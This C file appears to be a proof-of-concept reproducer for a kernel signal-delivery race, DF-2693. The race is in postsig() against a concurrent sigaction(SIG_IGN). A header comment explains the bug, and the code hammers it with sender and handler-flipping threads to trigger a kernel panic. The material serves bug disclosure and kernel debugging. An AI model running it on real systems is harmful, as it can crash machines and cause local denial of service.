/*
 * DF-2693 - postsig() KASSERT race with concurrent sigaction(SIG_IGN)
 *
 * sys/kern/kern_sig.c postsig():
 *   issignal()/CURSIG decides the signal is deliverable based on
 *   p_sigcatch (kern_sig.c:2246-2276 via trap.c:278-281), but postsig()
 *   re-reads ps_sigact[] WITHOUT p->p_token when the signal was pending
 *   on the *lwp* list (haveptok == 0 - the common case for kill() to a
 *   multi-threaded process, which lwpsignal() routes to a specific lwp,
 *   kern_sig.c:1425-1428).  A concurrent sigaction(sig, SIG_IGN) from
 *   another thread (which takes p_token, clears p_sigcatch and sets
 *   ps_sigact[sig] = SIG_IGN, kern_sig.c:281-375) interleaves between
 *   the CURSIG decision and postsig()'s action read:
 *
 *     action == SIG_IGN  ->  KASSERT(action != SIG_IGN && ...) at
 *                            kern_sig.c:2309 fires on INVARIANTS kernels
 *                            (kernel panic / local DoS).
 *     On stock kernels sv_sendsig installs handler == SIG_IGN == (void*)1
 *     and userland jumps to address 1 (self-inflicted SIGSEGV, POSIX
 *     unspecified outcome - minor).
 *
 * Build:  cc -O2 -pthread -o postsig_race postsig_race.c
 * Run:    ./postsig_race [seconds]
 * Expect: kernel panic "postsig action" (INVARIANTS) or long survival.
 */
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static volatile int stopflag;
static volatile unsigned long sent, flips;

static void
handler(int s)
{
	(void)s;
}

static void *
sender(void *x)
{
	while (!stopflag) {
		kill(getpid(), SIGUSR1);
		sent++;
	}
	return NULL;
}

static void *
flipper(void *x)
{
	struct sigaction sa, ign;

	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = handler;
	memset(&ign, 0, sizeof(ign));
	ign.sa_handler = SIG_IGN;

	while (!stopflag) {
		sigaction(SIGUSR1, &ign, NULL);
		sigaction(SIGUSR1, &sa, NULL);
		flips += 2;
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t th[8];
	int secs = (argc > 1) ? atoi(argv[1]) : 60;
	int i;
	struct sigaction sa;

	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = handler;
	sigaction(SIGUSR1, &sa, NULL);

	for (i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, sender, NULL);
	for (i = 4; i < 8; i++)
		pthread_create(&th[i], NULL, flipper, NULL);

	printf("racing %d seconds...\n", secs);
	fflush(stdout);
	sleep(secs);
	stopflag = 1;
	for (i = 0; i < 8; i++)
		pthread_join(th[i], NULL);
	printf("SURVIVED: sent=%lu flips=%lu, no KASSERT hit\n",
	    sent, flips);
	fflush(stdout);
	return (0);
}
